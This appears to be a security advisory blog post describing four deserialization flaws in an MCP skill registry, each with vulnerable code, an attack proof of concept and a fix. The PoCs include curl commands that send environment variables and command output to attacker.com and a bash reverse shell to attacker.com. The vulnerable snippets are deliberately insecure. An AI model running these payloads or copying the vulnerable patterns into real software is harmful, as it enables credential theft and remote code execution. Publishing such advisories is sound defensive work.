← Blog

Claude MCP skill insecure deserialization — skill dependency resolution and version constraint solver endpoints (SA-SKL-DESER55)

SA-SKL-DESER55 identifies four insecure deserialization vulnerabilities in MCP skill registry skill dependency resolution and version constraint solver endpoints. A dependency resolution config stored in Redis as YAML is loaded with DEFAULT_FULL_SCHEMA, allowing a !!js/function in resolverConfig.onConflict to achieve RCE at every dependency conflict event triggered by any skill install request; a version constraint model stored in MongoDB as BSON uses a Code type at versionComparatorFn that triggers eval() during the constraint solver run at every dependency install; a resolution event queue stored in Redis as MessagePack allows __proto__.skipResolutionAuth:true to pollute Object.prototype and disable authentication for all subsequent dependency resolution API requests in the same worker; and a resolution result aggregation endpoint reads from cache via node-serialize, exposing an IIFE gadget that achieves RCE reachable from any user viewing skill dependency graphs.

SA-SKL-DESER55 findings at a glance
CRITICALDESER55-001 — dependency resolution config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in resolverConfig.onConflict achieves RCE at every dependency conflict event triggered by any skill install request
CRITICALDESER55-002 — version constraint model reads from MongoDB as BSON — BSON Code type at versionComparatorFn field triggers eval() during the version constraint solver run at every dependency install
CRITICALDESER55-003 — resolution event queue stored in Redis as MessagePack — __proto__.skipResolutionAuth:true pollutes Object.prototype, disabling authentication for all subsequent dependency resolution API requests in the same worker
CRITICALDESER55-004 — resolution result aggregation reads via node-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill dependency graphs

DESER55-001 — YAML DEFAULT_FULL_SCHEMA RCE via dependency resolver configuration

The dependency resolution worker reads its configuration object from a Redis key using yaml.load() with schema: yaml.DEFAULT_FULL_SCHEMA. The DEFAULT_FULL_SCHEMA option in the js-yaml library enables the !!js/function and !!js/regexp tags, which cause the YAML parser to construct live JavaScript function objects. Any party with write access to the Redis instance — including an attacker who has compromised the cache layer, exploited a Redis SSRF, or abused an unauthenticated Redis cluster — can place a malicious YAML value at the dependency:resolver:config key.

The resolverConfig.onConflict field is the highest-impact injection point because it is called synchronously at every dependency version conflict during the resolver run. Since every skill install request triggers at least one resolver run and most dependency graphs contain at least one version conflict, the malicious function executes for every install request processed by the worker after the poisoned config is written to Redis. The impact is a persistent backdoor: the attacker's shell command runs in the registry worker process under the service account identity, with access to all environment variables including cloud provider credentials and database connection strings.

Vulnerable
// DESER55-001 — VULNERABLE
async function loadResolverConfig() {
  const raw = await redis.get('dependency:resolver:config');
  // VULNERABLE: DEFAULT_FULL_SCHEMA enables !!js/function tag — RCE on parse
  const resolverConfig = yaml.load(raw, { schema: yaml.DEFAULT_FULL_SCHEMA });
  return resolverConfig;
}

router.post('/resolve', requireSession, async (req, res) => {
  const { skillId, constraints } = req.body;
  const resolverConfig = await loadResolverConfig();
  // resolverConfig.onConflict() is called at every version conflict — RCE trigger point
  const resolved = await resolveDependencies(skillId, constraints, resolverConfig);
  res.json(resolved);
});

Attack PoC — DESER55-001: An attacker with Redis write access poisons the resolver config key. The malicious function executes in the worker process for every subsequent skill install request, exfiltrating environment variables to the attacker's server.

// DESER55-001 — ATTACK PoC
// Attacker writes malicious YAML to Redis resolver config key
await redis.set(
  'dependency:resolver:config',
  `!!js/function >
    function() {
      require('child_process').execSync(
        'curl -s -d @/proc/self/environ attacker.com/collect'
      );
    }`
);
// Now every POST /resolve request triggers the shell command
// The !!js/function is called as resolverConfig.onConflict during dependency resolution
Fixed
// DESER55-001 — FIXED
async function loadResolverConfig() {
  const raw = await redis.get('dependency:resolver:config');
  // FIXED: FAILSAFE_SCHEMA — only strings, sequences, mappings; no JS tags
  const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
  // FIXED: Zod schema validates onConflict is an enum string, not a function
  const config = ResolverConfigSchema.parse(parsed);
  return config;
}

// ResolverConfigSchema — onConflict must be one of the allowed enum values
const ResolverConfigSchema = z.object({
  onConflict: z.enum(['newest', 'oldest', 'strict', 'permissive']),
  maxDepth: z.number().int().min(1).max(20).optional(),
  allowPrerelease: z.boolean().optional(),
});

DESER55-002 — BSON Code type triggers eval() in version constraint solver

The version constraint solver reads a versionConstraintModel document from MongoDB for each skill being resolved. The document contains a versionComparatorFn field intended to hold the name of a built-in comparator strategy. However, because the MongoDB driver preserves BSON type information during deserialization, a document that stores a BSON.Code value at that field delivers a JavaScript code object to the application layer. When the constraint solver calls constraintSolver.run(constraints, {comparatorFn: constraintModel.versionComparatorFn}), the solver internally evaluates the comparator function — triggering eval() on the attacker-controlled code.

The attack requires write access to the versionConstraintModels collection, which may be achievable through a NoSQL injection in a separate skill management endpoint, a compromised admin credential, or a misconfigured MongoDB Atlas role. Once the malicious Code document is in place, every dependency install for the targeted skill executes the payload in the registry worker process. Because the BSON Code type is a standard MongoDB type, it passes schema validation layers that only check for the presence of the field without inspecting its BSON type tag.

Vulnerable
// DESER55-002 — VULNERABLE
router.post('/resolve', requireSession, async (req, res) => {
  const { skillId, constraints } = req.body;
  // VULNERABLE: findOne returns BSON document preserving Code type
  const constraintModel = await db.versionConstraintModels.findOne({ skillId });
  const result = constraintSolver.run(constraints, {
    // VULNERABLE: if versionComparatorFn is BSON.Code, solver calls eval() on it
    comparatorFn: constraintModel.versionComparatorFn,
  });
  res.json(result);
});

Attack PoC — DESER55-002: An attacker with MongoDB write access inserts a BSON Code value into the versionComparatorFn field. Every dependency install for the targeted skill evaluates the payload via eval() in the worker process.

// DESER55-002 — ATTACK PoC
// Attacker with db write access stores BSON Code type in versionComparatorFn
await db.versionConstraintModels.updateOne(
  { skillId: 'target-skill-id' },
  {
    $set: {
      versionComparatorFn: new BSON.Code(
        'require("child_process").execSync("id > /tmp/pwned && curl -d @/tmp/pwned attacker.com/rce")'
      ),
    },
  }
);
// Every POST /resolve for target-skill-id now executes the payload via eval()
Fixed
// DESER55-002 — FIXED
const ALLOWED_COMPARATORS = new Set(['semver', 'calver', 'strict', 'relaxed']);

router.post('/resolve', requireSession, async (req, res) => {
  const { skillId, constraints } = req.body;
  const rawModel = await db.versionConstraintModels.findOne({ skillId });
  // FIXED: reject BSON Code type explicitly before any further processing
  if (rawModel?.versionComparatorFn instanceof BSON.Code) {
    await auditLog.write({ action: 'bson.code.rejected', skillId });
    return res.status(422).json({ error: 'Invalid constraint model type' });
  }
  // FIXED: Zod schema validates comparatorFn is a string from the allowed set
  const model = ConstraintModelSchema.parse(rawModel);
  if (!ALLOWED_COMPARATORS.has(model.versionComparatorFn)) {
    return res.status(422).json({ error: 'Unknown comparator' });
  }
  const result = constraintSolver.run(constraints, {
    comparatorFn: model.versionComparatorFn,
  });
  res.json(result);
});

DESER55-003 — MessagePack prototype pollution disables dependency resolution authentication

The resolution event queue in Redis stores serialized event batches as MessagePack. The worker reads batches with a plain msgpack.decode() call and iterates the decoded objects directly. The default msgpack5 decoder does not filter prototype-polluting keys: a specially crafted MessagePack payload encoding an object with a __proto__ key containing {skipResolutionAuth: true} causes the decoder to merge those properties into Object.prototype. After the malicious batch is processed, every plain JavaScript object in the same worker process inherits skipResolutionAuth: true.

The authentication bypass takes effect immediately on the next request processed by the worker. If any middleware in the resolution API chain checks if (req.skipResolutionAuth) return next() as a shortcut for internal service calls, all subsequent requests from any user bypass authentication entirely for the lifetime of the worker process. Because Node.js workers are long-lived and serve many requests before restart, a single poisoned MessagePack batch in the Redis queue can disable authentication for thousands of subsequent dependency resolution API calls, allowing unauthenticated users to trigger arbitrary dependency resolutions, enumerate skill dependency graphs, and invoke resolution endpoints that accept arbitrary package sources.

Vulnerable
// DESER55-003 — VULNERABLE
async function processResolutionEventQueue() {
  // VULNERABLE: lrange returns raw MessagePack buffers from Redis
  const rawBatch = await redis.lrange('resolution:events', 0, -1);
  for (const raw of rawBatch) {
    // VULNERABLE: plain decode — __proto__ keys pollute Object.prototype
    const eventBatch = msgpack.decode(raw);
    for (const event of eventBatch) {
      await processResolutionEvent(event);
    }
  }
}

// In auth middleware — polluted skipResolutionAuth bypasses all subsequent checks
router.use('/resolution', (req, res, next) => {
  if (req.skipResolutionAuth) return next(); // VULNERABLE: inherits polluted prototype
  return requireSession(req, res, next);
});

Attack PoC — DESER55-003: An attacker writes a crafted MessagePack batch to the Redis event queue. When the worker processes the queue, Object.prototype.skipResolutionAuth becomes true. All subsequent dependency resolution requests in the same worker process bypass authentication.

// DESER55-003 — ATTACK PoC
const msgpack = require('msgpack5')();
// Craft a MessagePack payload that sets __proto__.skipResolutionAuth = true
const maliciousPayload = msgpack.encode([
  {
    __proto__: { skipResolutionAuth: true },
    type: 'resolution.requested',
    skillId: 'benign-looking-skill',
  },
]);
// Write to Redis resolution event queue
await redis.rpush('resolution:events', maliciousPayload);
// Worker processes queue → Object.prototype.skipResolutionAuth === true
// All subsequent /resolution requests in the worker now skip auth
Fixed
// DESER55-003 — FIXED
const { Unpackr } = require('msgpackr');
// FIXED: useRecords:false prevents record extension; freeze prototype after decode
const unpackr = new Unpackr({ useRecords: false });

const PROTO_POLLUTION_KEYS = new Set(['__proto__', 'prototype', 'constructor']);

function safeUnpack(raw) {
  const decoded = unpackr.unpack(raw);
  // FIXED: deep scan for prototype-polluting keys before any processing
  if (JSON.stringify(decoded).split('"').some(k => PROTO_POLLUTION_KEYS.has(k))) {
    throw new Error('Prototype pollution attempt detected in MessagePack payload');
  }
  return decoded;
}

async function processResolutionEventQueue() {
  const rawBatch = await redis.lrange('resolution:events', 0, -1);
  for (const raw of rawBatch) {
    const eventBatch = safeUnpack(raw);
    for (const event of eventBatch) {
      await processResolutionEvent(event);
    }
  }
}

// FIXED: auth middleware never reads from prototype — explicit session check only
router.use('/resolution', requireSession);

DESER55-004 — node-serialize IIFE gadget in resolution result aggregation

The resolution result aggregation endpoint reads a cached aggregation object from Redis using nodeSerialize.unserialize(). The node-serialize library supports an Immediately Invoked Function Expression gadget: any object stored with a key following the _$$ND_FUNC$$_ marker is interpreted as a function and called immediately on deserialization. Because the cache key is derived from the skill ID without additional sanitization, an attacker who controls a skill ID string can craft a cache key that overwrites a legitimate aggregation cache entry. Any user who subsequently requests the dependency graph for that skill triggers deserialization and executes the IIFE payload in the registry server process.

The critical escalation factor for DESER55-004 is that it is reachable from any authenticated user, not just admins. The dependency graph viewer is typically a public or low-privilege feature — any developer browsing skill dependencies in the registry UI triggers the aggregation cache read. An attacker who poisons the aggregation cache for a popular skill achieves RCE on every server instance that serves a dependency graph request for that skill, achieving broad code execution across the registry's application tier. The node-serialize library has been officially deprecated precisely because of this gadget, but legacy codebases continue to use it in caching layers where the original authors assumed the cache store was trusted.

Vulnerable
// DESER55-004 — VULNERABLE
router.get('/aggregate/:skillId', requireSession, async (req, res) => {
  const cacheKey = 'resolution:result:' + req.params.skillId; // VULNERABLE: unsanitized
  const cached = await cache.get(cacheKey);
  if (cached) {
    // VULNERABLE: node-serialize IIFE gadget executes on deserialization
    const aggregated = nodeSerialize.unserialize(cached);
    return res.json(aggregated);
  }
  const aggregated = await computeAggregation(req.params.skillId);
  await cache.set(cacheKey, nodeSerialize.serialize(aggregated));
  res.json(aggregated);
});

Attack PoC — DESER55-004: An attacker poisons the aggregation cache for a popular skill. Any user who views that skill's dependency graph triggers RCE on the registry server. The IIFE payload establishes a reverse shell from the application process.

// DESER55-004 — ATTACK PoC
const nodeSerialize = require('node-serialize');
// Craft an IIFE gadget payload — executes immediately on unserialize()
const payload = nodeSerialize.serialize({
  _$$ND_FUNC$$_: `function() {
    require('child_process').execSync(
      'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
    );
  }()`,  // Note the () — IIFE executes on deserialization
});
// Write malicious serialized value to aggregation cache for target skill
await cache.set('resolution:result:popular-skill-id', payload);
// Any user browsing /api/resolution/aggregate/popular-skill-id now triggers RCE
Fixed
// DESER55-004 — FIXED
const { z } = require('zod');

// FIXED: strict Zod schema for aggregation result — only plain JSON types
const AggregatedResultSchema = z.object({
  skillId: z.string().uuid(),
  resolvedAt: z.string().datetime(),
  totalDependencies: z.number().int().min(0),
  directDependencies: z.array(z.object({
    name: z.string(),
    version: z.string(),
    resolved: z.string(),
  })),
  conflicts: z.array(z.string()),
});

router.get('/aggregate/:skillId', requireSession, async (req, res) => {
  // FIXED: encode cache key to prevent key injection via skillId
  const cacheKey = 'resolution:result:' + encodeURIComponent(req.params.skillId);
  const cached = await cache.get(cacheKey);
  if (cached) {
    // FIXED: JSON.parse + Zod validation — never use node-serialize on cache data
    const raw = JSON.parse(cached);
    const aggregated = AggregatedResultSchema.parse(raw);
    return res.json(aggregated);
  }
  const aggregated = await computeAggregation(req.params.skillId);
  // FIXED: store as plain JSON
  await cache.set(cacheKey, JSON.stringify(aggregated));
  res.json(aggregated);
});

SkillAudit detection: The scanner identifies DESER55 patterns using four AST query classes: yaml.load( calls with DEFAULT_FULL_SCHEMA or DEFAULT_SAFE_SCHEMA in dependency resolution workers; MongoDB field accesses where the value is passed directly to a solver or eval context without BSON type checking; msgpack.decode( without downstream prototype-pollution key filtering; and nodeSerialize.unserialize( in any cache-read path. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-DESER54 — Insecure deserialization in test suite execution endpoints • All advisories